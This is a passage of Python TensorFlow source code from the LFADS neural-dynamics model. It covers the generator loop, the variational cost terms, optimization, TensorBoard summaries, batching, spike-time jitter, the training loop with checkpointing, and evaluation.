posterior_zs_co[t].sample else: u_t[t] = prior_zs_ar_con.samples_t[t] # Inputs to the generator (controller output + external input) if ext_input_dim > 0 and hps.inject_ext_input_to_gen: ext_input_t_bxi = ext_input_do_bxtxi[:,t,:] if co_dim > 0: gen_inputs[t] = tf.concat(axis=1, values=[u_t[t], ext_input_t_bxi]) else: gen_inputs[t] = ext_input_t_bxi else: gen_inputs[t] = u_t[t] # Generator data_t_bxd = dataset_ph[:,t,:] with tf.variable_scope("gen", reuse=True if t > 0 else None): gen_outs[t], gen_states[t] = gen_cell(gen_inputs[t], gen_states[t-1]) gen_outs[t] = tf.nn.dropout(gen_outs[t], keep_prob) with tf.variable_scope("gen", reuse=True): # ic defined it above factors[t] = linear(gen_outs[t], factors_dim, do_bias=False, normalized=True, name="gen_2_fac") with tf.variable_scope("glm", reuse=True if t > 0 else None): if hps.output_dist == 'poisson': log_rates_t = tf.matmul(factors[t], this_out_fac_W) + this_out_fac_b log_rates_t.set_shape([None, None]) rates[t] = dist_params[t] = tf.exp(log_rates_t) # rates feed back rates[t].set_shape([None, hps.dataset_dims[hps.dataset_names[0]]]) loglikelihood_t = Poisson(log_rates_t).logp(data_t_bxd) elif hps.output_dist == 'gaussian': mean_n_logvars = tf.matmul(factors[t],this_out_fac_W) + this_out_fac_b mean_n_logvars.set_shape([None, None]) means_t_bxd, logvars_t_bxd = tf.split(axis=1, num_or_size_splits=2, value=mean_n_logvars) rates[t] = means_t_bxd # rates feed back to controller dist_params[t] = tf.concat( axis=1, values=[means_t_bxd, tf.exp(logvars_t_bxd)]) loglikelihood_t = \ diag_gaussian_log_likelihood(data_t_bxd, means_t_bxd, logvars_t_bxd) else: assert False, "NIY" log_p_xgz_b += tf.reduce_sum(loglikelihood_t, [1]) # Correlation of inferred inputs cost. self.corr_cost = tf.constant(0.0) if hps.co_mean_corr_scale > 0.0: all_sum_corr = [] for i in range(hps.co_dim): for j in range(i+1, hps.co_dim): sum_corr_ij = tf.constant(0.0) for t in range(num_steps): u_mean_t = posterior_zs_co[t].mean sum_corr_ij += u_mean_t[:,i]*u_mean_t[:,j] all_sum_corr.append(0.5 * tf.square(sum_corr_ij)) self.corr_cost = tf.reduce_mean(all_sum_corr) # div by batch and by n*(n-1)/2 pairs # Variational Lower Bound on posterior, p(z|x), plus reconstruction cost. # KL and reconstruction costs are normalized only by batch size, not by # dimension, or by time steps. kl_cost_g0_b = tf.zeros_like(batch_size, dtype=tf.float32) kl_cost_co_b = tf.zeros_like(batch_size, dtype=tf.float32) self.kl_cost = tf.constant(0.0) # VAE KL cost self.recon_cost = tf.constant(0.0) # VAE reconstruction cost self.nll_bound_vae = tf.constant(0.0) self.nll_bound_iwae = tf.constant(0.0) # for eval with IWAE cost. if kind in ["train", "posterior_sample_and_average"]: kl_cost_g0_b = 0.0 kl_cost_co_b = 0.0 if ic_dim > 0: g0_priors = [self.prior_zs_g0] g0_posts = [self.posterior_zs_g0] kl_cost_g0_b = KLCost_GaussianGaussian(g0_posts, g0_priors).kl_cost_b kl_cost_g0_b = hps.kl_ic_weight * kl_cost_g0_b if co_dim > 0: kl_cost_co_b = \ KLCost_GaussianGaussianProcessSampled( posterior_zs_co, prior_zs_ar_con).kl_cost_b kl_cost_co_b = hps.kl_co_weight * kl_cost_co_b # L = -KL + log p(x|z), to maximize bound on likelihood # -L = KL - log p(x|z), to minimize bound on NLL # so 'reconstruction cost' is negative log likelihood self.recon_cost = - tf.reduce_mean(log_p_xgz_b) self.kl_cost = tf.reduce_mean(kl_cost_g0_b + kl_cost_co_b) lb_on_ll_b = log_p_xgz_b - kl_cost_g0_b - kl_cost_co_b # VAE error averages outside the log self.nll_bound_vae = -tf.reduce_mean(lb_on_ll_b) # IWAE error averages inside the log k = tf.cast(tf.shape(log_p_xgz_b)[0], tf.float32) iwae_lb_on_ll = -tf.log(k) + log_sum_exp(lb_on_ll_b) self.nll_bound_iwae = -iwae_lb_on_ll # L2 regularization on the generator, normalized by number of parameters. self.l2_cost = tf.constant(0.0) if self.hps.l2_gen_scale > 0.0 or self.hps.l2_con_scale > 0.0: l2_costs = [] l2_numels = [] l2_reg_var_lists = [tf.get_collection('l2_gen_reg'), tf.get_collection('l2_con_reg')] l2_reg_scales = [self.hps.l2_gen_scale, self.hps.l2_con_scale] for l2_reg_vars, l2_scale in zip(l2_reg_var_lists, l2_reg_scales): for v in l2_reg_vars: numel = tf.reduce_prod(tf.concat(axis=0, values=tf.shape(v))) numel_f = tf.cast(numel, tf.float32) l2_numels.append(numel_f) v_l2 = tf.reduce_sum(v*v) l2_costs.append(0.5 * l2_scale * v_l2) self.l2_cost = tf.add_n(l2_costs) / tf.add_n(l2_numels) # Compute the cost for training, part of the graph regardless. # The KL cost can be problematic at the beginning of optimization, # so we allow an exponential increase in weighting the KL from 0 # to 1. self.kl_decay_step = tf.maximum(self.train_step - hps.kl_start_step, 0) self.l2_decay_step = tf.maximum(self.train_step - hps.l2_start_step, 0) kl_decay_step_f = tf.cast(self.kl_decay_step, tf.float32) l2_decay_step_f = tf.cast(self.l2_decay_step, tf.float32) kl_increase_steps_f = tf.cast(hps.kl_increase_steps, tf.float32) l2_increase_steps_f = tf.cast(hps.l2_increase_steps, tf.float32) self.kl_weight = kl_weight = \ tf.minimum(kl_decay_step_f / kl_increase_steps_f, 1.0) self.l2_weight = l2_weight = \ tf.minimum(l2_decay_step_f / l2_increase_steps_f, 1.0) self.timed_kl_cost = kl_weight * self.kl_cost self.timed_l2_cost = l2_weight * self.l2_cost self.weight_corr_cost = hps.co_mean_corr_scale * self.corr_cost self.cost = self.recon_cost + self.timed_kl_cost + \ self.timed_l2_cost + self.weight_corr_cost if kind != "train": # save every so often self.seso_saver = tf.train.Saver(tf.global_variables(), max_to_keep=hps.max_ckpt_to_keep) # lowest validation error self.lve_saver = tf.train.Saver(tf.global_variables(), max_to_keep=hps.max_ckpt_to_keep_lve) return # OPTIMIZATION # train the io matrices only if self.hps.do_train_io_only: self.train_vars = tvars = \ tf.get_collection('IO_transformations', scope=tf.get_variable_scope().name) # train the encoder only elif self.hps.do_train_encoder_only: tvars1 = \ tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope='LFADS/ic_enc_*') tvars2 = \ tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope='LFADS/z/ic_enc_*') self.train_vars = tvars = tvars1 + tvars2 # train all variables else: self.train_vars = tvars = \ tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=tf.get_variable_scope().name) print("done.") print("Model Variables (to be optimized): ") total_params = 0 for i in range(len(tvars)): shape = tvars[i].get_shape().as_list() print(" ", i, tvars[i].name, shape) total_params += np.prod(shape) print("Total model parameters: ", total_params) grads = tf.gradients(self.cost, tvars) grads, grad_global_norm = tf.clip_by_global_norm(grads, hps.max_grad_norm) opt = tf.train.AdamOptimizer(self.learning_rate, beta1=0.9, beta2=0.999, epsilon=1e-01) self.grads = grads self.grad_global_norm = grad_global_norm self.train_op = opt.apply_gradients( zip(grads, tvars), global_step=self.train_step) self.seso_saver = tf.train.Saver(tf.global_variables(), max_to_keep=hps.max_ckpt_to_keep) # lowest validation error self.lve_saver = tf.train.Saver(tf.global_variables(), max_to_keep=hps.max_ckpt_to_keep) # SUMMARIES, used only during training. # example summary self.example_image = tf.placeholder(tf.float32, shape=[1,None,None,3], name='image_tensor') self.example_summ = tf.summary.image("LFADS example", self.example_image, collections=["example_summaries"]) # general training summaries self.lr_summ = tf.summary.scalar("Learning rate", self.learning_rate) self.kl_weight_summ = tf.summary.scalar("KL weight", self.kl_weight) self.l2_weight_summ = tf.summary.scalar("L2 weight", self.l2_weight) self.corr_cost_summ = tf.summary.scalar("Corr cost", self.weight_corr_cost) self.grad_global_norm_summ = tf.summary.scalar("Gradient global norm", self.grad_global_norm) if hps.co_dim > 0: self.atau_summ = [None] * hps.co_dim self.pvar_summ = [None] * hps.co_dim for c in range(hps.co_dim): self.atau_summ[c] = \ tf.summary.scalar("AR Autocorrelation taus " + str(c), tf.exp(self.prior_zs_ar_con.logataus_1xu[0,c])) self.pvar_summ[c] = \ tf.summary.scalar("AR Variances " + str(c), tf.exp(self.prior_zs_ar_con.logpvars_1xu[0,c])) # cost summaries, separated into different collections for # training vs validation. We make placeholders for these, because # even though the graph computes these costs on a per-batch basis, # we want to report the more reliable metric of per-epoch cost. kl_cost_ph = tf.placeholder(tf.float32, shape=[], name='kl_cost_ph') self.kl_t_cost_summ = tf.summary.scalar("KL cost (train)", kl_cost_ph, collections=["train_summaries"]) self.kl_v_cost_summ = tf.summary.scalar("KL cost (valid)", kl_cost_ph, collections=["valid_summaries"]) l2_cost_ph = tf.placeholder(tf.float32, shape=[], name='l2_cost_ph') self.l2_cost_summ = tf.summary.scalar("L2 cost", l2_cost_ph, collections=["train_summaries"]) recon_cost_ph = tf.placeholder(tf.float32, shape=[], name='recon_cost_ph') self.recon_t_cost_summ = tf.summary.scalar("Reconstruction cost (train)", recon_cost_ph, collections=["train_summaries"]) self.recon_v_cost_summ = tf.summary.scalar("Reconstruction cost (valid)", recon_cost_ph, collections=["valid_summaries"]) total_cost_ph = tf.placeholder(tf.float32, shape=[], name='total_cost_ph') self.cost_t_summ = tf.summary.scalar("Total cost (train)", total_cost_ph, collections=["train_summaries"]) self.cost_v_summ = tf.summary.scalar("Total cost (valid)", total_cost_ph, collections=["valid_summaries"]) self.kl_cost_ph = kl_cost_ph self.l2_cost_ph = l2_cost_ph self.recon_cost_ph = recon_cost_ph self.total_cost_ph = total_cost_ph # Merged summaries, for easy coding later. self.merged_examples = tf.summary.merge_all(key="example_summaries") self.merged_generic = tf.summary.merge_all() # default key is 'summaries' self.merged_train = tf.summary.merge_all(key="train_summaries") self.merged_valid = tf.summary.merge_all(key="valid_summaries") session = tf.get_default_session() self.logfile = os.path.join(hps.lfads_save_dir, "lfads_log") self.writer = tf.summary.FileWriter(self.logfile) def build_feed_dict(self, train_name, data_bxtxd, ext_input_bxtxi=None, keep_prob=None): """Build the feed dictionary, handles cases where there is no value defined. Args: train_name: The key into the datasets, to set the tf.case statement for the proper readin / readout matrices. data_bxtxd: The data tensor ext_input_bxtxi (optional): The external input tensor keep_prob: The drop out keep probability. Returns: The feed dictionary with TF tensors as keys and data as values, for use with tf.Session.run() """ feed_dict = {} B, T, _ = data_bxtxd.shape feed_dict[self.dataName] = train_name feed_dict[self.dataset_ph] = data_bxtxd if self.ext_input is not None and ext_input_bxtxi is not None: feed_dict[self.ext_input] = ext_input_bxtxi if keep_prob is None: feed_dict[self.keep_prob] = self.hps.keep_prob else: feed_dict[self.keep_prob] = keep_prob return feed_dict @staticmethod def get_batch(data_extxd, ext_input_extxi=None, batch_size=None, example_idxs=None): """Get a batch of data, either randomly chosen, or specified directly. Args: data_extxd: The data to model, numpy tensors with shape: # examples x # time steps x # dimensions ext_input_extxi (optional): The external inputs, numpy tensor with shape: # examples x # time steps x # external input dimensions batch_size: The size of the batch to return example_idxs (optional): The example indices used to select examples. Returns: A tuple with two parts: 1. Batched data numpy tensor with shape: batch_size x # time steps x # dimensions 2. Batched external input numpy tensor with shape: batch_size x # time steps x # external input dims """ assert batch_size is not None or example_idxs is not None, "Problems" E, T, D = data_extxd.shape if example_idxs is None: example_idxs = np.random.choice(E, batch_size) ext_input_bxtxi = None if ext_input_extxi is not None: ext_input_bxtxi = ext_input_extxi[example_idxs,:,:] return data_extxd[example_idxs,:,:], ext_input_bxtxi @staticmethod def example_idxs_mod_batch_size(nexamples, batch_size): """Given a number of examples, E, and a batch_size, B, generate indices [0, 1, 2, ... B-1; [B, B+1, ... 2*B-1; ... ] returning those indices as a 2-dim tensor shaped like E/B x B. Note that shape is only correct if E % B == 0. If not, then an extra row is generated so that the remainder of examples is included. The extra examples are explicitly to to the zero index (see randomize_example_idxs_mod_batch_size) for randomized behavior. Args: nexamples: The number of examples to batch up. batch_size: The size of the batch. Returns: 2-dim tensor as described above. """ bmrem = batch_size - (nexamples % batch_size) bmrem_examples = [] if bmrem < batch_size: #bmrem_examples = np.zeros(bmrem, dtype=np.int32) ridxs = np.random.permutation(nexamples)[0:bmrem].astype(np.int32) bmrem_examples = np.sort(ridxs) example_idxs = range(nexamples) + list(bmrem_examples) example_idxs_e_x_edivb = np.reshape(example_idxs, [-1, batch_size]) return example_idxs_e_x_edivb, bmrem @staticmethod def randomize_example_idxs_mod_batch_size(nexamples, batch_size): """Indices 1:nexamples, randomized, in 2D form of shape = (nexamples / batch_size) x batch_size. The remainder is managed by drawing randomly from 1:nexamples. Args: nexamples: number of examples to randomize batch_size: number of elements in batch Returns: The randomized, properly shaped indicies. """ assert nexamples > batch_size, "Problems" bmrem = batch_size - nexamples % batch_size bmrem_examples = [] if bmrem < batch_size: bmrem_examples = np.random.choice(range(nexamples), size=bmrem, replace=False) example_idxs = range(nexamples) + list(bmrem_examples) mixed_example_idxs = np.random.permutation(example_idxs) example_idxs_e_x_edivb = np.reshape(mixed_example_idxs, [-1, batch_size]) return example_idxs_e_x_edivb, bmrem def shuffle_spikes_in_time(self, data_bxtxd): """Shuffle the spikes in the temporal dimension. This is useful to help the LFADS system avoid overfitting to individual spikes or fast oscillations found in the data that are irrelevant to behavior. A pure 'tabula rasa' approach would avoid this, but LFADS is sensitive enough to pick up dynamics that you may not want. Args: data_bxtxd: numpy array of spike count data to be shuffled. Returns: S_bxtxd, a numpy array with the same dimensions and contents as data_bxtxd, but shuffled appropriately. """ B, T, N = data_bxtxd.shape w = self.hps.temporal_spike_jitter_width if w == 0: return data_bxtxd max_counts = np.max(data_bxtxd) S_bxtxd = np.zeros([B,T,N]) # Intuitively, shuffle spike occurances, 0 or 1, but since we have counts, # Do it over and over again up to the max count. for mc in range(1,max_counts+1): idxs = np.nonzero(data_bxtxd >= mc) data_ones = np.zeros_like(data_bxtxd) data_ones[data_bxtxd >= mc] = 1 nfound = len(idxs[0]) shuffles_incrs_in_time = np.random.randint(-w, w, size=nfound) shuffle_tidxs = idxs[1].copy() shuffle_tidxs += shuffles_incrs_in_time # Reflect on the boundaries to not lose mass. shuffle_tidxs[shuffle_tidxs < 0] = -shuffle_tidxs[shuffle_tidxs < 0] shuffle_tidxs[shuffle_tidxs > T-1] = \ (T-1)-(shuffle_tidxs[shuffle_tidxs > T-1] -(T-1)) for iii in zip(idxs[0], shuffle_tidxs, idxs[2]): S_bxtxd[iii] += 1 return S_bxtxd def shuffle_and_flatten_datasets(self, datasets, kind='train'): """Since LFADS supports multiple datasets in the same dynamical model, we have to be careful to use all the data in a single training epoch. But since the datasets my have different data dimensionality, we cannot batch examples from data dictionaries together. Instead, we generate random batches within each data dictionary, and then randomize these batches while holding onto the dataname, so that when it's time to feed the graph, the correct in/out matrices can be selected, per batch. Args: datasets: A dict of data dicts. The dataset dict is simply a name(string)-> data dictionary mapping (See top of lfads.py). kind: 'train' or 'valid' Returns: A flat list, in which each element is a pair ('name', indices). """ batch_size = self.hps.batch_size ndatasets = len(datasets) random_example_idxs = {} epoch_idxs = {} all_name_example_idx_pairs = [] kind_data = kind + '_data' for name, data_dict in datasets.items(): nexamples, ntime, data_dim = data_dict[kind_data].shape epoch_idxs[name] = 0 random_example_idxs, _ = \ self.randomize_example_idxs_mod_batch_size(nexamples, batch_size) epoch_size = random_example_idxs.shape[0] names = [name] * epoch_size all_name_example_idx_pairs += zip(names, random_example_idxs) np.random.shuffle(all_name_example_idx_pairs) # shuffle in place return all_name_example_idx_pairs def train_epoch(self, datasets, batch_size=None, do_save_ckpt=True): """Train the model through the entire dataset once. Args: datasets: A dict of data dicts. The dataset dict is simply a name(string)-> data dictionary mapping (See top of lfads.py). batch_size (optional): The batch_size to use do_save_ckpt (optional): Should the routine save a checkpoint on this training epoch? Returns: A tuple with 6 float values: (total cost of the epoch, epoch reconstruction cost, epoch kl cost, KL weight used this training epoch, total l2 cost on generator, and the corresponding weight). """ ops_to_eval = [self.cost, self.recon_cost, self.kl_cost, self.kl_weight, self.l2_cost, self.l2_weight, self.train_op] collected_op_values = self.run_epoch(datasets, ops_to_eval, kind="train") total_cost = total_recon_cost = total_kl_cost = 0.0 # normalizing by batch done in distributions.py epoch_size = len(collected_op_values) for op_values in collected_op_values: total_cost += op_values[0] total_recon_cost += op_values[1] total_kl_cost += op_values[2] kl_weight = collected_op_values[-1][3] l2_cost = collected_op_values[-1][4] l2_weight = collected_op_values[-1][5] epoch_total_cost = total_cost / epoch_size epoch_recon_cost = total_recon_cost / epoch_size epoch_kl_cost = total_kl_cost / epoch_size if do_save_ckpt: session = tf.get_default_session() checkpoint_path = os.path.join(self.hps.lfads_save_dir, self.hps.checkpoint_name + '.ckpt') self.seso_saver.save(session, checkpoint_path, global_step=self.train_step) return epoch_total_cost, epoch_recon_cost, epoch_kl_cost, \ kl_weight, l2_cost, l2_weight def run_epoch(self, datasets, ops_to_eval, kind="train", batch_size=None, do_collect=True, keep_prob=None): """Run the model through the entire dataset once. Args: datasets: A dict of data dicts. The dataset dict is simply a name(string)-> data dictionary mapping (See top of lfads.py). ops_to_eval: A list of tensorflow operations that will be evaluated in the tf.session.run() call. batch_size (optional): The batch_size to use do_collect (optional): Should the routine collect all session.run output as a list, and return it? keep_prob (optional): The dropout keep probability. Returns: A list of lists, the internal list is the return for the ops for each session.run() call. The outer list collects over the epoch. """ hps = self.hps all_name_example_idx_pairs = \ self.shuffle_and_flatten_datasets(datasets, kind) kind_data = kind + '_data' kind_ext_input = kind + '_ext_input' total_cost = total_recon_cost = total_kl_cost = 0.0 session = tf.get_default_session() epoch_size = len(all_name_example_idx_pairs) evaled_ops_list = [] for name, example_idxs in all_name_example_idx_pairs: data_dict = datasets[name] data_extxd = data_dict[kind_data] if hps.output_dist == 'poisson' and hps.temporal_spike_jitter_width > 0: data_extxd = self.shuffle_spikes_in_time(data_extxd) ext_input_extxi = data_dict[kind_ext_input] data_bxtxd, ext_input_bxtxi = self.get_batch(data_extxd, ext_input_extxi, example_idxs=example_idxs) feed_dict = self.build_feed_dict(name, data_bxtxd, ext_input_bxtxi, keep_prob=keep_prob) evaled_ops_np = session.run(ops_to_eval, feed_dict=feed_dict) if do_collect: evaled_ops_list.append(evaled_ops_np) return evaled_ops_list def summarize_all(self, datasets, summary_values): """Plot and summarize stuff in tensorboard. Note that everything done in the current function is otherwise done on a single, randomly selected dataset (except for summary_values, which are passed in.) Args: datasets, the dictionary of datasets used in the study. summary_values: These summary values are created from the training loop, and so summarize the entire set of datasets. """ hps = self.hps tr_kl_cost = summary_values['tr_kl_cost'] tr_recon_cost = summary_values['tr_recon_cost'] tr_total_cost = summary_values['tr_total_cost'] kl_weight = summary_values['kl_weight'] l2_weight = summary_values['l2_weight'] l2_cost = summary_values['l2_cost'] has_any_valid_set = summary_values['has_any_valid_set'] i = summary_values['nepochs'] session = tf.get_default_session() train_summ, train_step = session.run([self.merged_train, self.train_step], feed_dict={self.l2_cost_ph:l2_cost, self.kl_cost_ph:tr_kl_cost, self.recon_cost_ph:tr_recon_cost, self.total_cost_ph:tr_total_cost}) self.writer.add_summary(train_summ, train_step) if has_any_valid_set: ev_kl_cost = summary_values['ev_kl_cost'] ev_recon_cost = summary_values['ev_recon_cost'] ev_total_cost = summary_values['ev_total_cost'] eval_summ = session.run(self.merged_valid, feed_dict={self.kl_cost_ph:ev_kl_cost, self.recon_cost_ph:ev_recon_cost, self.total_cost_ph:ev_total_cost}) self.writer.add_summary(eval_summ, train_step) print("Epoch:%d, step:%d (TRAIN, VALID): total: %.2f, %.2f\ recon: %.2f, %.2f, kl: %.2f, %.2f, l2: %.5f,\ kl weight: %.2f, l2 weight: %.2f" % \ (i, train_step, tr_total_cost, ev_total_cost, tr_recon_cost, ev_recon_cost, tr_kl_cost, ev_kl_cost, l2_cost, kl_weight, l2_weight)) csv_outstr = "epoch,%d, step,%d, total,%.2f,%.2f, \ recon,%.2f,%.2f, kl,%.2f,%.2f, l2,%.5f, \ klweight,%.2f, l2weight,%.2f\n"% \ (i, train_step, tr_total_cost, ev_total_cost, tr_recon_cost, ev_recon_cost, tr_kl_cost, ev_kl_cost, l2_cost, kl_weight, l2_weight) else: print("Epoch:%d, step:%d TRAIN: total: %.2f recon: %.2f, kl: %.2f,\ l2: %.5f, kl weight: %.2f, l2 weight: %.2f" % \ (i, train_step, tr_total_cost, tr_recon_cost, tr_kl_cost, l2_cost, kl_weight, l2_weight)) csv_outstr = "epoch,%d, step,%d, total,%.2f, recon,%.2f, kl,%.2f, \ l2,%.5f, klweight,%.2f, l2weight,%.2f\n"% \ (i, train_step, tr_total_cost, tr_recon_cost, tr_kl_cost, l2_cost, kl_weight, l2_weight) if self.hps.csv_log: csv_file = os.path.join(self.hps.lfads_save_dir, self.hps.csv_log+'.csv') with open(csv_file, "a") as myfile: myfile.write(csv_outstr) def plot_single_example(self, datasets): """Plot an image relating to a randomly chosen, specific example. We use posterior sample and average by taking one example, and filling a whole batch with that example, sample from the posterior, and then average the quantities. """ hps = self.hps all_data_names = datasets.keys() data_name = np.random.permutation(all_data_names)[0] data_dict = datasets[data_name] has_valid_set = True if data_dict['valid_data'] is not None else False cf = 1.0 # plotting concern # posterior sample and average here E, _, _ = data_dict['train_data'].shape eidx = np.random.choice(E) example_idxs = eidx * np.ones(hps.batch_size, dtype=np.int32) train_data_bxtxd, train_ext_input_bxtxi = \ self.get_batch(data_dict['train_data'], data_dict['train_ext_input'], example_idxs=example_idxs) truth_train_data_bxtxd = None if 'train_truth' in data_dict and data_dict['train_truth'] is not None: truth_train_data_bxtxd, _ = self.get_batch(data_dict['train_truth'], example_idxs=example_idxs) cf = data_dict['conversion_factor'] # plotter does averaging train_model_values = self.eval_model_runs_batch(data_name, train_data_bxtxd, train_ext_input_bxtxi, do_average_batch=False) train_step = train_model_values['train_steps'] feed_dict = self.build_feed_dict(data_name, train_data_bxtxd, train_ext_input_bxtxi, keep_prob=1.0) session = tf.get_default_session() generic_summ = session.run(self.merged_generic, feed_dict=feed_dict) self.writer.add_summary(generic_summ, train_step) valid_data_bxtxd = valid_model_values = valid_ext_input_bxtxi = None truth_valid_data_bxtxd = None if has_valid_set: E, _, _ = data_dict['valid_data'].shape eidx = np.random.choice(E) example_idxs = eidx * np.ones(hps.batch_size, dtype=np.int32) valid_data_bxtxd, valid_ext_input_bxtxi = \ self.get_batch(data_dict['valid_data'], data_dict['valid_ext_input'], example_idxs=example_idxs) if 'valid_truth' in data_dict and data_dict['valid_truth'] is not None: truth_valid_data_bxtxd, _ = self.get_batch(data_dict['valid_truth'], example_idxs=example_idxs) else: truth_valid_data_bxtxd = None # plotter does averaging valid_model_values = self.eval_model_runs_batch(data_name, valid_data_bxtxd, valid_ext_input_bxtxi, do_average_batch=False) example_image = plot_lfads(train_bxtxd=train_data_bxtxd, train_model_vals=train_model_values, train_ext_input_bxtxi=train_ext_input_bxtxi, train_truth_bxtxd=truth_train_data_bxtxd, valid_bxtxd=valid_data_bxtxd, valid_model_vals=valid_model_values, valid_ext_input_bxtxi=valid_ext_input_bxtxi, valid_truth_bxtxd=truth_valid_data_bxtxd, bidx=None, cf=cf, output_dist=hps.output_dist) example_image = np.expand_dims(example_image, axis=0) example_summ = session.run(self.merged_examples, feed_dict={self.example_image : example_image}) self.writer.add_summary(example_summ) def train_model(self, datasets): """Train the model, print per-epoch information, and save checkpoints. Loop over training epochs. The function that actually does the training is train_epoch. This function iterates over the training data, one epoch at a time. The learning rate schedule is such that it will stay the same until the cost goes up in comparison to the last few values, then it will drop. Args: datasets: A dict of data dicts. The dataset dict is simply a name(string)-> data dictionary mapping (See top of lfads.py). """ hps = self.hps has_any_valid_set = False for data_dict in datasets.values(): if data_dict['valid_data'] is not None: has_any_valid_set = True break session = tf.get_default_session() lr = session.run(self.learning_rate) lr_stop = hps.learning_rate_stop i = -1 train_costs = [] valid_costs = [] ev_total_cost = ev_recon_cost = ev_kl_cost = 0.0 lowest_ev_cost = np.Inf while True: i += 1 do_save_ckpt = True if i % 10 ==0 else False tr_total_cost, tr_recon_cost, tr_kl_cost, kl_weight, l2_cost, l2_weight = \ self.train_epoch(datasets, do_save_ckpt=do_save_ckpt) # Evaluate the validation cost, and potentially save. Note that this # routine will not save a validation checkpoint until the kl weight and # l2 weights are equal to 1.0. if has_any_valid_set: ev_total_cost, ev_recon_cost, ev_kl_cost = \ self.eval_cost_epoch(datasets, kind='valid') valid_costs.append(ev_total_cost) # > 1 may give more consistent results, but not the actual lowest vae. # == 1 gives the lowest vae seen so far. n_lve = 1 run_avg_lve = np.mean(valid_costs[-n_lve:]) # conditions for saving checkpoints: # KL weight must have finished stepping (>=1.0), AND # L2 weight must have finished stepping OR L2 is not being used, AND # the current run has a lower LVE than previous runs AND # len(valid_costs > n_lve) (not sure what that does) if kl_weight >= 1.0 and \ (l2_weight >= 1.0 or \ (self.hps.l2_gen_scale == 0.0 and self.hps.l2_con_scale == 0.0)) \ and (len(valid_costs) > n_lve and run_avg_lve < lowest_ev_cost): lowest_ev_cost = run_avg_lve checkpoint_path = os.path.join(self.hps.lfads_save_dir, self.hps.checkpoint_name + '_lve.ckpt') self.lve_saver.save(session, checkpoint_path, global_step=self.train_step, latest_filename='checkpoint_lve') # Plot and summarize. values = {'nepochs':i, 'has_any_valid_set': has_any_valid_set, 'tr_total_cost':tr_total_cost, 'ev_total_cost':ev_total_cost, 'tr_recon_cost':tr_recon_cost, 'ev_recon_cost':ev_recon_cost, 'tr_kl_cost':tr_kl_cost, 'ev_kl_cost':ev_kl_cost, 'l2_weight':l2_weight, 'kl_weight':kl_weight, 'l2_cost':l2_cost} self.summarize_all(datasets, values) self.plot_single_example(datasets) # Manage learning rate. train_res = tr_total_cost n_lr = hps.learning_rate_n_to_compare if len(train_costs) > n_lr and train_res > np.max(train_costs[-n_lr:]): _ = session.run(self.learning_rate_decay_op) lr = session.run(self.learning_rate) print(" Decreasing learning rate to %f." % lr) # Force the system to run n_lr times while at this lr. train_costs.append(np.inf) else: train_costs.append(train_res) if lr < lr_stop: print("Stopping optimization based on learning rate criteria.") break def eval_cost_epoch(self, datasets, kind='train', ext_input_extxi=None, batch_size=None): """Evaluate the cost of the epoch. Args: data_dict: The dictionary of data (training and validation) used for training and evaluation of the model, respectively. Returns: a 3 tuple of costs: (epoch total cost, epoch reconstruction cost, epoch KL cost) """ ops_to_eval = [self.cost, self.recon_cost, self.kl_cost] collected_op_values = self.run_epoch(datasets, ops_to_eval, kind=kind, keep_prob=1.0) total_cost = total_recon_cost = total_kl_cost = 0.0 # normalizing by batch done in distributions.py epoch_size = len(collected_op_values) for op_values in collected_op_values: total_cost += op_values[0] total_recon_cost += op_values[1] total_kl_cost += op_values[2] epoch_total_cost = total_cost / epoch_size epoch_recon_cost = total_recon_cost / epoch_size epoch_kl_cost = total_kl_cost / epoch_size return epoch_total_cost, epoch_recon_cost, epoch_kl_cost def eval_model_runs_batch(self, data_name, data_bxtxd, ext_input_bxtxi=None, do_eval_cost=False, do_average_batch=False): """Returns all the goodies for the entire model, per batch. Args: data_name: The name of the data dict, to select which in/out matrices to use. data_bxtxd: Numpy array training data with shape: batch_size x # time steps x # dimensions ext_input_bxtxi: Numpy array training external input with shape: batch_size x # time steps x # external input dims do_eval_cost (optional): If true, the IWAE (Importance Weighted Autoencoder) log likeihood bound, instead of the VAE version. do_average_batch (optional): average over the batch, useful for getting good IWAE costs, and model outputs for a single data point. Returns: A dictionary with the outputs of the model decoder, namely: prior g0 mean, prior g0 variance, approx. posterior mean, approx posterior mean, the generator initial conditions, the control inputs (if enabled), the state of the generator, the factors, and the rates. """ session = tf.get_default_session() feed_dict = self.build_feed_dict(data_name, data_bxtxd, ext_input_bxtxi, keep_prob=1.0) # Non-temporal signals will be batch x dim. # Temporal signals are list length T with elements batch x dim. tf_vals = [self.gen_ics, self.gen_states, self.factors, self.output_dist_params] tf_vals.append(self.cost) tf_vals.append(self.nll_bound_vae) tf_vals.append(self.nll_bound_iwae) tf_vals.append(self.train_step) # not train_op! if self.hps.ic_dim > 0: tf_vals += [self.prior_zs_g0.mean, self.prior_zs_g0.logvar, self.posterior_zs_g0.mean, self.posterior_zs_g0.logvar] if self.hps.co_dim > 0: tf_vals.append(self.controller_outputs) tf_vals_flat, fidxs = flatten(tf_vals) np_vals_flat = session.run(tf_vals_flat, feed_dict=feed_dict) ff = 0 gen_ics = [np_vals_flat[f] for f in fidxs[ff]]; ff += 1 gen_states = [np_vals_flat[f] for f in fidxs[ff]]; ff += 1 factors = [np_vals_flat[f] for f in fidxs[ff]]; ff += 1 out_dist_params = [np_vals_flat[f] for f in fidxs[ff]]; ff += 1 costs = [np_vals_flat[f] for f in fidxs[ff]]; ff += 1 nll_bound_vaes = [np_vals_flat[f] for f in fidxs[ff]]; ff += 1 nll_bound_iwaes = [np_vals_flat[f] for f in fidxs[ff]]; ff +=1 train_steps = [np_vals_flat[f] for f in fidxs[ff]]; ff +=1 if self.hps.ic_dim > 0: prior_g0_mean = [np_vals_flat[f] for f in fidxs[ff]]; ff +=1 prior_g0_logvar = [np_vals_flat[f] for f in fidxs[ff]]; ff += 1 post_g0_mean = [np_vals_flat[f] for f in fidxs[ff]]; ff += 1 post_g0_logvar = [np_vals_flat[f] for f in fidxs[ff]]; ff += 1 if self.hps.co_dim > 0: controller_outputs = [np_vals_flat[f] for f in fidxs[ff]]; ff += 1 # [0] are to take out the non-temporal items from lists gen_ics = gen_ics[0] costs = costs[0] nll_bound_vaes = nll_bound_vaes[0] nll_bound_iwaes = nll_bound_iwaes[0] train_steps = train_steps[0] # Convert to full tensors, not lists of tensors in time dim. gen_states = list_t_bxn_to_tensor_bxtxn(gen_states) factors = list_t_bxn_to_tensor_bxtxn(factors) out_dist_params = 